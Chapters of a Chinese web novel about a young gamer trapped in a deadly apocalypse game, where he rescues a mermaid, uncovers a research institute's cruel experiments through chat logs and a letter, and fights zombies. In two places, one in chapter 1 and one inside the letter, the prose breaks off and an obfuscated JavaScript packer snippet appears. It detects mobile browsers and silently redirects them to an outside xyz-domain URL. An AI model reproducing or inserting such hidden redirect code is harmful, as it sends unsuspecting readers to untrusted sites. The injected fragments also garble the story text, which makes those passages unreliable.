《不断回档后成了末世白月光》 1. 《异变》 黑暗的夜空中绽放起一朵一朵璀璨的烟火,金色的就好像一场梦幻的落雨,雨中又炸出小朵小朵的金花,噼里啪啦,热闹地和挤挤攘攘吵吵闹闹的鞭炮声响成一团,不容任何人忽视他们的存在。 一个黑发的青年趿拉着拖鞋,半张脸藏在嫩黄色毛茸茸的厚厚睡衣里面,走到了阳台。此时黑夜都被照得亮堂堂的,楼上就是小孩子尖锐的嬉闹声,真是再符合不过春节的热闹气氛了。青年长长地叹了一口气,用长袖子包住手,又拉上了阳台的玻璃门。 他也好想点烟花、放鞭炮。 可是他前两天手痒,已经把买的烟花和鞭炮都放完了。顺便手背上还被炸了个泡。 萧宁长吁短叹,你说他怎么就这么手贱呢?! 好歹、好歹留个仙女棒呀!不然也不至于现在什么都没有得点了。 楼上还在吵吵嚷嚷的,声音都霸道到穿过天花板塞了他一脑袋。不知道是小孩子在表演什么特长,或者搞什么“父慈子孝”。当然考虑到现在的出生率,萧宁深刻怀疑楼上可能是“毛孩子”在“拒绝动物表演,但拒绝不了动物硬要表演”。 萧宁把脑袋耷拉下来,百无聊赖地按开了电视,春晚正好放到“包——饺——吒——”,堪称魔音贯耳,他忍不住又悻悻地把电视给关了。 好朋友的电话就是这个时候来的—— “喂,宁宁!快快快!打开电脑。” 萧宁被他这一出搞得摸不着头脑,但还是立马拉开抽屉,把笔记本电脑拿了出来,一边开机,一边问他这是搞得哪一出? “刚刚出来了一款新游戏,叫《异变》,好像是末日背景。嗨,那都不是重点!” “重点是第一个通关的人有五万块奖金!啊,五万块啊!” 萧宁一下呆住了,而电脑里面的通讯软件也应时弹出了一个长长的链接,点下去就是一个格外有废土气息的背景图,上面是大大的两个字—— 异变。 简单的两个字背后却隐约透露出灰暗残忍和无尽的绝望。 断壁残垣和点到为止的血痕是整个背景的主基调,扫过整个页面,一个人影也没有,似乎暗示了无人生还的结局。 耳边朋友的声音还没停:“你不是最近说好的兼职被放了鸽子吗?正好打打这个游戏,现在这个游戏人气正高,就算打不通关也能做素材,怎么说都不亏。” “哎哎,你个小崽子别碰你哥的手办。”声音突然尖利了起来。 “宁宁,哥不和你说了,过年熊孩子都煳了锅。给你买的那些东西好好吃哈,别再天天泡面了。哎哎,放下,让你放下!” 电话戛然而止。 萧宁听着朋友惊恐的声音,忍不住扭头看了看自己珍贵的手办,感到一阵庆幸。 他没太犹豫,带上全息眼镜,点击了“开始游戏”的界面 。 一圈一圈的加载圆弧划过,出现的却不是游戏界面,而是一个标红加粗的提示: “这是一个真实的世界。” “请谨慎做出每一个选择。” ? 萧宁还是第一次看到这种提示。 大概是为了增加沉浸感吧。他猜测。 碰了一下页面,提示很快就如同水晶一样碎去,消散在屏幕。 游戏,正式开始。 《异变》是一个第一视角的游戏,加载页面消失之后,出现在眼前的是一片雪白——雪白的墙、雪白的地板、雪白的天花板。过于纯净单一的颜色让人不由得从骨子里渗出几分冷意。 萧宁低头,他所使用的这个角色穿着一件白色长款外套,戴着一副黑框眼镜,很容易让人联想到某些小黑人动漫里面低调的研究员,不过不知道研究范围包不包括让人变小的药丸之类的。 他并没有戴实验用的帽子,手腕戴着一只简约的手表,脚上还穿着一双高帮皮质靴子(老实说,这有点混搭),胸口上挂着一块工作证,翻转过来,写着“他”的名字——“萧”。 没有自主取名的环节,但奇异的是和他自己的名字也有部分重合,不知道去投诉游戏方侵犯他个人隐私能不能成功。 仔细搜索一番,身上竟然没有其他任何有信息量的物品了。 没有手机? 竟然没有通讯设备,难道这附近就是“他”的办公室? 真是吝啬于多给他一点关于游戏的信息。而且从他开始游戏到现在,都没有任何的新手指引或者是任务指导。 这自由度……是不是有点太高了? 不怕玩家化身脱缰的哈士奇或者“刁民”吗? 萧宁忍不住这样想,还有些蠢蠢欲动,毕竟玩家在游戏里面搞事真是再正常不过了,他作为一个游戏博主也下意识地会想弄一些节目效果,但是脑中不期然浮现了那句话——“这是一个真实的世界”……吗? 或者,这有可能是通关的一个提醒也说不定呢? 那还是不要去搞抽象了。萧宁晃了晃脑袋,把自己那些七七八八的念头甩走。单纯得到一些视频素材当然也不错,但是作为一个为学费发愁的孤家寡人,能拿到奖金的话他也还是不想放弃的。毕竟视频效果还可以通过后期达到,想要第一个通关可不能这样。 萧宁扫了一眼手表,现在是游戏时间下午三点零一分四十秒,粗略估算游戏开始的时间是三点零一分。 他站起身,明明游戏才刚刚开始,这具身体的肌肉却泛出酸痛的感觉,感觉就好像他刚刚军训被拎着打了一下午的军体拳一样令人萎靡。 左右环视一圈,他正处于一条走廊的中间位置,左边是一道被牢牢关起的门,电子的操作台偶尔闪动一点代表运行中的蓝色光点。另一头则是一个拐角,拐角后是视觉死角,什么都看不见。 萧宁先看了一下关闭的大门,电子操作台上是数字和字母,应该要用密码打开。不过密码是什么现在毫无线索。 那刷卡行不行? 萧宁用身上的证件全方位无死角地贴在操作台的各个地方,结果都是毫无反应。 看来他排除了一个选项。 这研究所看着这么高端上档次,结果连刷卡都没有普及,差评! 萧宁收回了证件,若有所思,看来大概还是得从什么犄角嘎达里面薅出一些可以用的线索,希望这个游戏的线索不要和一些密室逃脱里面的一样令人摸不着头脑,甚至是无语凝噎。 萧宁果断放弃了开门,走去走廊的另外一头,在靠近拐角的时候放慢了脚步。他贴着光滑的墙壁,做好贴脸杀的准备之后,一点一点地探出头,结果却在看清了视野中的事物,忍不住呼吸一滞—— 太美了。 根本不会是人类世界会存在的东西。 无力地垂在地面的是如同最华美的丝绸一般闪着波光的鱼尾,即便鳞片散落,血迹斑斑,也无损它的美丽,然而更添上了几分令人心口一窒的凄美。 视线往上,是蓝紫色残破的鳍,半透明的、可怜巴巴地贴在地面,似乎脱水时间不短,光泽都消散了,十分的委顿。 顺着美丽到萧宁视线一停的尾巴上方,却是实实在在类人的身体,小麦色的肌肤下是起伏的肌肉线条,黑色的纹路在其上蜿蜒,带出几分令人口渴的躁意。 但这样堪称完美的身体却被塌落的一块天花板压住,蔓延出血色,顺便遮挡了其主人的样貌。 萧宁脑子里面一瞬间闪现了无数词语,比如小美人鱼、农夫与蛇、捡到一条人鱼、我与人鱼的日日夜夜…… 这是什么走向? 萧宁试图揣测游戏剧情组的意图,恋爱线?友情线?Boss线? 可恶,没做功课,不知道游戏组什么风格。 谁吃个鸡蛋还要知道母鸡是喜欢跳舞还是滑冰啊! 算了,既然说当成真实世界的话…… 萧宁看了看人鱼破破烂烂的尾巴、破破烂烂的鱼鳍、破破烂烂的皮肤。 还是救一下吧…… 他围着那个塌落的天花板和下面的人鱼转了几圈,陷入了沉默。他低头看自己这明显未经锻炼的战斗力为5的身体,觉得人鱼自己把天花板顶起来的可能性都比他去帮忙挪开的可能性大。 有点尴尬。 萧宁搓搓脸,开始寻找工具。 不远处有一扇门,去拧了拧,没有锁,轻轻一推就打开了。 门内亮堂堂的,并没有什么刻意营造的恐怖氛围,但是安静得过分,似乎并没有人。 这里应该是一间普通的办公室,整齐的电脑一排排地放着,有些仍旧亮着屏幕,似乎主人只是稍稍离开,马上就会返回。桌面的摆件或可爱或简洁,资料也或凌乱或整齐,都明明白白展示着位置上的人该会是什么样的办公风格。 萧宁用指尖在桌面划过,一点灰尘都没有。但是角落许久未动的陈旧资料却是连蜘蛛网都布了两层了。 是不是有点过于真实了? 难道这个游戏的公司真的制造出了接近真实的游戏引擎? 萧宁觉得怪怪的,就算闷声发大财也没有这样操作的。如果真要扣各种细节,是一定会增加许多投入的,与之相对的,不可能不大肆宣传他们这种几近真实的环境塑造,以此来增大影响力,获得更多的利润。 萧宁不信游戏方没想到,如果真是完全没考虑到的话,建议把工资转他,他来上。 他翻看了一下被放置在桌面的资料,大多都是一些实验数据之类的内容,显得庞大又繁杂,只一眼就令人脑袋隐隐作痛。 萧宁放下资料,往里面走了几步,空间仍旧是密闭的,但是被柜子当作隔断隔开的是一排排试管架,似乎是为了方便进行简单的实验,与电脑间只有几步之遥。 萧宁靠近,试管上都贴着药物的名字,看着别说有多专业了,专业得令他这个只是来玩游戏的非专业人士恨不得拿块砖敲醒策划的脑袋。 但目光在同一支试管上停留久了,竟然有一行小字凭空浮现,就好像游戏的贴心标注——“腐蚀性药物”。 看来策划还是有良心的,没有为了追求真实感到了丧心病狂的地步。 萧宁拿起一支装着绿色药液的试管,上面慢慢显露出“腐蚀性药物”的字样。他放下,又拿起一支装着蓝色药液的试管,浮现的则是“易燃药剂”。如此反反复复确认了几十只试管的作用之后,萧宁将九只有着或“腐蚀”或“易燃”作用的药剂放进了一只专用的箱子里面。 用药剂腐蚀掉重物是一个备选方案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033645|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。萧宁把箱子放好,又开始在办公室乱转。他还是比较倾向于找到一个足够有支撑性的物品,把那块塌落的天花板顶住,再把人鱼拖出来。 不然直接用药品,凭他这个化学小白,分分钟就能把救援对象和危险环境一起消灭了,主打一个熊式救援。 萧宁拿出哈士奇拆家的气势把办公室地毯式搜了一遍,才终于找到了一个看起来可以满足他需求的东西。他也不知道应该叫什么,但是看起来有点像柱子,而且应该是某种金属制作成的,很结实的样子。比画了一下,这个东西立起来的话应该可以撑出足够的空间拉人鱼出来。 萧宁琢磨了一下,准备拖着这东西出门,结果差点摔个狗啃屎。 靠!怎么这么沉! 萧宁停住了,他看着只挪动了一厘米的“柱子”,再看自己细胳膊细腿,对自己的战五渣再次有了深刻的认识。 …… 他搓了搓脸,蹲在“柱子”旁边,严肃地审视它。企图用目光盯出个什么按钮,让它可以全自动化完成任务。 但是“柱子”不为所动。 也没有什么系统提示贴心地出现。 太残忍了,让他去拖这个“柱子”到外面天花板塌陷的地方,和让小比熊犬去拉一米八壮汉的雪橇有什么区别? 萧宁思索许久,最后“滚”了。 他把“柱子”滚出了门,顺便中途差点被压扁了脚趾,累得满头大汗终于把“柱子”卡在了天花板和地面中间。 做完这些,别说去把天花板底下的人鱼拖出来了,萧宁坐在地上,连呼吸都觉得累,眼睛一阵阵发黑。 他的胸膛和风箱一样呼呼喘气,脑子因为缺氧有些发懵,他一个人在这里捣鼓了这么久,却还是一点声音都没有听到,除了这个生死不知的人鱼更是一个人影都没有见到。 这里,或者说这个研究所究竟发生了什么? 萧宁的气息慢慢地平稳了下来,想到办公室里面还残留着一点温度的茶水,或许有什么事情发生了,但是应该还没有发生很久。 他得抓紧时间了。 萧宁撑起身子,开始咬牙拉动人鱼,尽量在保持“柱子”稳定性的情况下将人鱼从塌落的天花板下拉出来。 有些石块随着他的动作簌簌落了下来,但是人鱼确实是一点一点脱离了那非常大的天花板石块之下。 萧宁的体力消耗非常大,拉一会儿就要坐在地上好好休息半天,等他把人鱼的半个身体拉出来的时候已经觉得自己连手臂都抬不起来了,本来半抱着人鱼腋下的手臂松开,让对方上半身几乎都压在自己身上。 萧宁龇牙咧嘴地挪动一下身体,只觉得身上没有哪里是不疼的。 他和压着自己的人鱼躺在冰凉凉的地板上,觉得自己已经是一条咸鱼了,眼睛一闭立马可以累得睡着,只剩一点意志力在扛着。 就在这个时候,萧宁突然感觉什么东西动了一下。 !!! 他偏过头,就看到人鱼微微抬起了头,本来一直被乱糟糟的头发盖住的脸就这样冷不丁地出现在了他的面前。 萧宁忘记了呼吸。 他正对上了一双湛蓝的,如同海洋一般迷人的眼睛。 该怎么形容呢? 萧宁觉得他的眼睛里面……好像有星星啊。 他的五官无比的立体,甚至到了扎眼而锋利的程度。他死死地盯住萧宁,额头和脸侧描绘的纹路似乎都因为带着杀气的表情而变得更加生动,似乎马上就要流动起来。被血液打湿的头发一缕一缕地贴在他的脸侧和脖颈,甚至有的因为负荷不住,渗出血液划过锁骨,划过块垒分明的肌肉,径直流过泛着光芒的鱼鳞,吸引着人将目光停留。 人鱼的视线并不聚焦,似乎神志并没有完全清醒,但是仍然显得杀气十足。 他一动不动地看着被自己半压住的萧宁,脸上一点表情都没有。 萧宁友好地冲他打招呼:“哈喽,你要不要先起来,我刚刚搬你搬得实在是没有力气了,你压得我有点痛……” 人鱼眨了眨眼睛,盯住了萧宁,表情突然生动得令人下意识想要逃离。 只是片刻之间,刚刚把萧宁折磨了半天的“柱子”和那沉重的大半块天花板就被人鱼活动起来的尾巴一下子打到了一边,萧宁甚至清晰地听到了天花板令人牙酸的破裂声。 不是……这…… 萧宁瞳孔地震。 “兄弟你……这……牛啊!”萧宁忍不住竖了个大拇指,内心泪流满面,这哪里需要他救啊,人家一蛄蛹就出来了。 这身体素质差距也太大了吧!岂可修! 他半支着身体,努力想把自己重新撑起来,但是实在没力气,只好伸出一只手:“兄弟,搭把手哈。” 于是人鱼伸出了手。 只不过那有着长长指甲,锋利程度堪比刀锋的指甲并不冲着萧宁伸出的那只手,而直直对准了萧宁毫无防备的脆弱脖颈。 下一瞬间,萧宁甚至还反应不过来发生了什么,面前就已经一片漆黑,“游戏失败”的字样浮现了出来。 !!! 不是? 萧宁悲愤:你是人鱼不是蛇人啊!怎么还带恩将仇报的呢?!!! 2. 丧尸 萧宁搓搓脸,又搓搓脸。 他首先肯定自己没错,是那条人鱼有问题。然后有点沮丧自己似乎做出了错误的决定,导致了游戏的失败。 面前的空间已经出现了“重新开始”的字样,但是萧宁并没有马上重新开始游戏,而是注意到了在“重新开始”按键的正下方,有一行小字提醒—— “您只有三次重开的机会,如果您没有在使用这三次重新开始的机会后,仍旧没有成功活过72个小时获得第一个存档点,那么您将彻底游戏失败,不再有挑战游戏的机会。” 这不是一个可以无限重开的游戏,所以他必须考虑好再行动。 不愧是有奖金的游戏啊,果然不会这么轻易放玩家过关。萧宁忍不住想,紧接着他开始复盘。 救人应该是没有任何问题的,问题应该出在双方的角色上。当然有可能是这条人鱼本身就弑杀,但是萧宁是不喜欢这样粗暴的归因。 他觉得更可能是人鱼的立场或许本来就是和他有一定相悖的。 想想吧,他的身份是什么?疑似研究员。而对方是一条伤痕累累的人鱼。 萧宁相当怀疑,这家研究所极有可能在这条人鱼身上进行了什么实验,进而导致了这条人鱼无差别,或者针对性地仇视人类。 不然作为智慧生物,他在受伤情况第一反应应该是找一个安全的地方舔舐伤口才对,而不是立马攻击新的目标。毕竟那条人鱼在挪动的时候,萧宁注意到对方的伤口也因为剧烈的动作而裂开了,鲜血从伤口流了出来,看起来就很痛。 这种攻击的状态或许是因为陌生人应激,但是萧宁会更偏向于猜测在人鱼的眼中“他”的身份意味着不安全。 一只狗或者猫,会因为受伤而应激,排斥其他生物的靠近,但是受伤的人或者说类人在被救助的时候表现出攻击性就非常不合理了。 可能性挺多的,他其实也不能忽视对方就是很有野性的可能,但是萧宁还是打定主意在游戏开始后首先去那间唯一可以探索的办公室仔细找找文字方面的材料,或多或少,他应该可以得到和人鱼有关的信息。 也许,他可以在那里找到很多有意思的东西。 想清楚了,萧宁就准备重新开始游戏,不过在巨大的“loading”界面转动的时候,他还是忍不住嘟囔了一句:“好没良心一条鱼。” 然后十几分钟后他就选择撤回自己这句话。 这次他在游戏开局之后直奔没有锁门的办公室,一个一个工位的查看涉及的资料,然后果然从繁杂的资料和许多看不懂的表格里面找到了人鱼有关的信息。 对此,萧宁只有一个字要说—— 惨! 太惨了。 角落这台电脑的主人应该是一个八卦爱好者,在她的聊天记录里面有相当多和工作无关的内容,但是这却大大便利了萧宁。 因为这间办公室的实验或许和人鱼并没有关系,所以其他人的电脑萧宁几乎都没有找到任何想要的信息。 但是当他在这台电脑的通讯软件里面搜索关键词的时候,却发现了很多相关的记录: 梓璇:你听说了吗?最近的那件事? Q:?什么瓜?快来快来! 梓璇:就那个呀,你真的不知道吗? Q:我前段时间病休了,究竟是什么事情啊! 梓璇:听说第一研究组拿到了新的课题。 Q:就这?第一研究组是王所长直管的,拿新课题不是很正常的吗,值得你大惊小怪的? 梓璇:你让我说完啊。 梓璇:听说新课题是因为研究员买到了一个未知物种! Q:!!! Q:未知物种?!! Q:是什么? 梓璇:听说是海怪! Q:!天啊,我要去问问,海怪!我的天!是什么样的海怪?水猴子?克总?塞壬? 梓璇:我不知道具体是什么,你快去问,我也想知道。 …… Q:啊啊啊啊! 梓璇:是什么?是什么? Q:是人鱼!天啊,他太美了!好想调到第一研究组去,那样就能天天看到他了。 梓璇:我也要看照片! Q:现在为了保密不让电子传播,你找时间找我一趟,我给你看看纸质版。 梓璇:好,今天就可以。 到这里都是非常正常的办公室吃瓜聊天,但是看到后面,萧宁的眉毛就忍不住拧了起来。 梓璇:你还好吗? Q:…… 梓璇:我给你带了你最喜欢的巧克力,要一起吃吗? B:…… 梓璇:小泉? Q:呜呜呜呜呜啊啊啊啊! Q:你不要来找我了! Q:你不能来找我了! Q:都是因为该死的人鱼,如果他不出现,根本什么事情都不会有! Q:她根本不是失踪了!她死了,她肯定是死了! Q:我可能也要死了。 Q:如果他们怀疑我的话,我也要死的。 Q:别来找我了。 后面任凭被备注为“梓璇”的人怎么发消息,工位的主人“小泉”也没有了任何的回应。不知道是为了不牵连对方,还是也已经失踪。 不过这台电脑的联络软件并没有下线,还能让他看到这些聊天记录,萧宁觉得事情或许其实还没有到更糟糕的地步。 根据“梓璇”和“小泉”名字,萧宁在其他电脑找到了更多更令他发寒的信息—— A:一组的欣姐是不是很久没有看到了? A:她之前不是定期会和小泉去吃饭的吗? B:啊?我没注意啊。 B:她们俩吃饭? A:听说她们有血缘关系的,不然你以为为什么小泉经常第一个知道一组的事情? A:算了,也不是多大的事情。或许一组在忙吧,毕竟实验品1776听说挺有实验价值的。 B:哦哦。 …… C:小泉怎么最近老是眼圈红红的,我都不好问她,发生什么事了? D:欣姐失踪了。 C:怎么回事? D:不怎么回事,研究所不许人聊这件事情,你也别说了。 C:你肯定有内部消息。 D:这件事和你没关系,别掺和,搅和进去不是好事。 …… 所有人都讳莫如深,和人鱼实验有关的一组中同这间办公室的小泉有关系的欣姐这样没前没后地消失了。如果有人得到确切的消息不能沾染,小泉自己又认为这件事情会牵连到她身上,甚至还会进一步地扩大影响力,那么直接导致结果的那只“手”大概率就是属于这个研究所的。 萧宁一只手抵住下巴,一边思考会是什么导致了研究所对自己的研究员痛下杀手。难道有什么秘密被窥见了?还是她是间谍? 小泉似乎是这间办公室里面唯一知道前因后果的人,还很笃定是和人鱼有关的原因。只能再在和她相关的东西上找信息了! 萧宁看了一眼手上的手表,已经差不多四点了,他模糊记得他上一次游戏被人鱼杀死大概是快五点的时候。 时间还够,他得再找一次小泉的工位。 萧宁仔仔细细地摸索,他比较偏向于有什么纸质的线索。毕竟网络很有可能被研究所的后台监控着,她们如果传递信息不太可能通过电脑。 书本夹缝、坐垫、柜子……萧宁几乎把小泉的位置翻了个底朝天,但是完全没找到他想要的东西的影子。 他挠挠头,开始怀疑小泉根本没放办公室,而是放在了宿舍等等她觉得更有安全感的地方。当然,也有可能是他想错了,其实就没有什么信件之类的东西让她知道了欣姐的事情。 萧宁搓搓脸,有些挫败地坐在了小泉的位置上。 还要继续找吗? 萧宁看一眼手表,已经过去了二十分钟,还有半个多小时,人鱼就会再一次苏醒挣脱,并且极有可能还是会第一时间就想要杀掉他。 半个多小时的时间,他得离开这里,得去尝试打开那道电子门,穿过它找到自己的生路,摆脱憎恨人类的人鱼。 时间紧迫,如果没有及时离开,那么被杀死几乎是既定的未来,还要花时间在搜寻人鱼相关的这个事件的信息上吗?要浪费时间在一个很有可能不能扭转的敌人身上吗? 未来是未知的。 他不一定能解开这个谜题,也不一定能获得有用的信息,就算得到了信息,逃不掉也是白搭,如果这一次一无所获的话,他相当于就是浪费了一次宝贵的重开机会。 那么,要刨根究底吗? 当然, 当然要啊! 游戏不浪那能叫游戏吗?! 更何况,萧宁一想到人鱼身上斑驳的血迹和刚刚醒来时涣散的眼神,总觉得背后藏着一段并不美好的故事。这个故事在他这里只掀开了开头一角,他才不会善罢甘休。 萧宁抱胸,闭上眼睛仔细思索。 他慢慢地回忆第一轮和第二轮游戏的细节,手指无意识地敲打着自己的胳膊,时间缓缓的无声流逝,一点又一点,人鱼苏醒的时间愈加逼近,萧宁仍然在回忆,不放过一丝一毫的痕迹。 他的记忆很好,回忆这两次游戏的内容就好像在翻一本曾经没有仔细阅读的图画书,一页,再一页…… 突然,他睁开眼。 手表的时间已经咔嗒咔嗒走到了三十七分,萧宁却完全没有管它。 他立马跑到了角落公共区域的一个柜子,里面放着一盒又一盒陈旧的资料。上一个周目,他用来帮助人鱼的“柱子”就是从这里找到的。 小泉既然怀疑研究所可能会对她下手,那么她就不该在任何有她私人属性的地方藏东西。在这种时候,公共区域反而更好掩人耳目。 萧宁正是抱着这个念头,回忆起他在地毯式搜东西,找到“柱子”的时候,有一个抽屉被他失手卸了下来,剩下那个抽屉背后似乎有什么东西在他的视野中一闪而过。 他伸手卸下了原本被他拆下来的抽屉,然后把手伸了进去,在剩余的那个抽屉背后,果然找到了一个被折叠的信封,薄薄地贴在隐蔽的最深处! 萧宁将信纸展开,看见内容的第一眼就一怔。 因为这封由“欣姐”写给“小泉”的信件,并不涉及任何科研秘密,也没有任何涉及冰冷利益的东西。 相反,萧宁看到的是良心。 是一位研究员对妹妹平常的倾诉,那里面是工作的烦恼,是一个人类尚未泯灭的良心—— “小泉,或许说这话,你会觉得我不知好歹。 但是,我已经一刻也难以待下去了。我已经准备和院长他们申请离开第一研究组,剩下的,去哪里都无所谓了,只要不再待下去,我都能接受。” “为了进入这家研究所,为了进第一研究组,我付出了无数精力和汗水,当初结果出来的时候我欣喜若狂,完全没有想到有一天我竟然会主动申请离开。” “如果不是确定再也没办法支撑的话,我绝对不会做出这个决定的。” “但你不会知道,我们每天究竟都在做什么。” “过去在实验室用小白鼠实验的时候,我可以果断冷静地处理好一切,因为那只是一只实验小白鼠,它丁点大的脑子甚至不能反应过来发生了什么我就能结束实验。可是现在我们的实验对象是一个高等智慧生物!” “同事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033646|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们经常安慰我并不该把人鱼看作和我们一样的生物,它连语言都不能和我们共通,怎么可以对它物伤其类呢?” “可是我知道不是这样的。” “他也会露出疲惫的表情。我去采血的时候,他会看向我,露出熟悉而烦躁的表情。我知道,那是他认出了我,知道我要做什么,因为采血这件事情几乎每次都是我去做的。” “他也会在宁静的夜晚,哀哀地用他的语言唱出悠长而古老的歌谣,就好像在思念回不去的故乡。” “他更会在受到电击、切割、病毒实验的时候露出痛苦的表情,在一切结束之后,用猩红而仇恨的眼神死死地盯着我们的背影。” “我怎么可能无动于衷?!” “他和一个普通人除了身体结构和语言,究竟有什么区别?” “我经常会梦到他,他用那双布满血丝的眼神看向我,嘶吼着,咆哮着,用我听不懂的语言喊叫着,我知道那一定是最凶狠的话,他一定是在骂我。” “有的时候,梦中他会直接冲上来,将我撕成碎片,毕竟我知道,他的指甲比某些金属还要锋利,或许我连骨头都不会完整留下。” “那是我应得的。” “我现在这样,和一个伥鬼有什么区别。” “我开始在没有人的地方听到他的声音,我开始在实验室里面突然看到他的身影。我知道我开始生病,可是我没有办法改变。” “我能做什么呢?研究所不会听我的,将一切公之于众其实也不会为他带来安全——一条人鱼是没有‘人权’的,我也没有权限将他放回大海。我只能逃走,逃到看不见他,听不见他声音的地方。” “我知道并不是只有我这样想,只是我的症状最严重而已。在我说出想要离开的决定的时候,许多同事用布满血丝浑浊的眼睛看向我,眼神不是不动摇的。我不知道他们最终会怎么选择,但是我必须离开了。” “上次我看到所长拿着一个包裹经过的时候,甚至以为里面装的是一个人,我的症状严重到这个地步,已经没有办法再正常地工作了。就算研究所把我辞退,我也认了。” “小泉,或许你下次见到我,就是在研究所外面了。到时候,我们一起吃粽子吧,你已经很久没有和我一起吃粽子了,到时候我一定就有时间包给你了,也不知道手艺有没有变差。不过就算变了,你也不许说不好吃哦!” 到这里,这封信的内容就已经写尽了。 写信人还一无所觉的约定再见,却没想到死亡已经逼近,约定的事情不可能再实现。而事后明了的小泉看到这里,恐怕更是难以克制情绪。萧宁摸着纸面粗糙起伏的手感,这样想。 研究所要解决掉欣姐,可能是为了保密,也有可能是为了绝掉其他研究员离开的想法。而小泉猜测他们为了保密杀掉欣姐,也有可能为此杀掉她也并不奇怪。 那么他们在用人鱼做什么实验,到了要杀人灭口的地步?又是什么样的实验,到了令欣姐无法接受,甚至精神出现失常迹象。 萧宁抿唇,不管怎么样,都一定是残酷而血腥的实验,人鱼受到的对待是不能够细思的。光是从人鱼现在仍旧残破的身体,就已经能够窥见那些过去里透着什么样的血色了。 萧宁看着手中的信件,似乎有着浓稠的血和泪从里面渗透了出来,沁到了他的手心。 这家研究所看来应该是反派背景啊。 而且给这人鱼搞这么一个美强惨身世,他会不会是什么重要角色? 手表的指针已经走到了四十一分,萧宁转身提起了他提前分好的腐蚀等类别药剂,鬼使神差地没有抛下那信件,而是叠得整整齐齐地放进了自己的口袋里面。 时间紧张,他直奔那扇他一进游戏就看到的坚硬大门,直接打开一支药剂就倒在了时不时闪出光芒的操纵台上——有的时候暴力破谜的效率可比到处找线索然后冥思苦想快多了。 银色的操作台开始“嘀嘀嘀”地响了起来,本来蓝色的闪光变成红色,闪动的速度也变得剧烈了起来。随着药液不断向深处腐蚀,一些火星子蹦了出来,原本老老实实在原地的操作台如同正在对羽绒服进行甩干程序的洗衣机一般疯狂地震动了起来,似乎马上就要爆炸了一般。 萧宁忍不住跑远了,只探个头从拐角注意那扇门的动静。 操作台并没有真的爆炸,而是在剧烈震动之后冒出了一股一股黑烟,门似乎也跟着发出了咔嚓咔嚓的声音。 这样过了好一会儿之后,操作台停止了发出令人头皮发麻的声音,走廊又一次陷入了无比的安静。 难道还是浇少了?萧宁小心翼翼地靠近。 操作台确实是完全损坏了,门也并没有打开。不过萧宁贴近原本紧闭的大门,发现原本严严实实的大门中间竟然出现了一道缝隙。 萧宁抠了抠,竟然真的将门缝扩大了。 萧宁:!!! 他使劲扒拉,将那道缝拉到一拳宽,然后用脚抵住,把膝盖也一起卡上去,然后将背和手臂一边撑一个地用力拉,门即将拉开到可以让他钻出去的时候,衣料摩擦的声音传入了萧宁的耳中。 萧宁不动了。 他不顾滑落脸侧的汗水,仔细听了听,然后猛地向门外看了过去。 只见视野中出现了五只……怪物。 它们有着人的身体,但是皮肤发青发白,到处布满令人头皮发麻的青筋,那些青筋就好像会游动一样,让萧宁一看就起了鸡皮疙瘩。他移开目光,却正看到那些怪物的眼睛眼白似乎已经完全被瞳孔占据了,一片漆黑,与血淋淋的下巴和手掌形成了鲜明的对比。 他们死死地盯着萧宁,冲他而来。 萧宁脑子一下就炸了。 狗策划,我和你势不两立啊啊啊啊! 3. 所长 萧宁觉得自己和在丧尸片里面没什么区别。 那几个丧尸速度不慢,靠的近了他感觉甚至能看到从他们身上流出的脓液,不知是否散发着恶臭,但是他觉得有点想吐。 萧宁很清楚自己是在游戏里面,所以虽然紧张,但是并没有真正危及生命的感觉,他的大脑仍旧正在飞速运转。 他手边唯一可以立马用来对付这些可以称之为末世类型作品中常见的“丧尸”的,只有那些药剂。除开用来破坏大门操作台的那一只腐蚀药剂,他还有许多支各种类型的药剂可以对付丧尸。 但是,如果直接用泼的话,对于准头的要求很高,而且距离也不够远,很容易失败然后被抓伤。鉴于丧尸的普遍设定,萧宁并不想尝试看看被那几只丧尸靠近之后会发生什么糟糕的事情。 还是不能拉近距离,然后寄希望于将药剂准确无误的一个一个泼到丧尸身上,那样太危险了。 萧宁思衬片刻,就下了决定。 他立马离开门缝,往内侧退后几步,捞起了箱子里面的药剂,然后将箱子卡在了门缝中间。 几乎是在同一时刻,最快的那只丧尸已经扑到了他的面前,被箱子卡了一下,抵住了门缝。紧接着又有两只刹不住车的丧尸和他抵在了一起,三只丧尸都卡在了门缝,开始努力地挣扎起来。 萧宁翻找怀里的药剂,犹豫了一秒是否要使用其中唯一一支因为性质不稳定,可能会造成爆炸的药剂。使用这只药剂,倒确实是可以彻底炸死丧尸,用碎石彻底将他们隔开,可是也会将他完全困在这个密闭空间里面,和即将醒来的人鱼面对面,和死路也没有什么差别了。 他将那只药剂揣好,然后将腐蚀性的药剂一只一只准确无误地丢到丧尸身上,药剂瓶一个个碎开,带有强烈腐蚀性的药剂从里面流了出来迅速向下开始腐蚀,“滋滋”作响的声音听得萧宁都头皮发麻,那些丧尸却好像根本感觉不到痛一样,还在努力挪动,门缝都似乎被他们挤得更开了一些。 药液蔓延,腐蚀掉那些青白僵硬的肌肉,又腐蚀掉那些深处的白骨,慢慢彻底带走了那三只丧尸的生机。于是原本卡在门缝中间动弹不得的丧尸变成了一个略深的黑洞,一些碎烂的血肉骨头残留在原地。 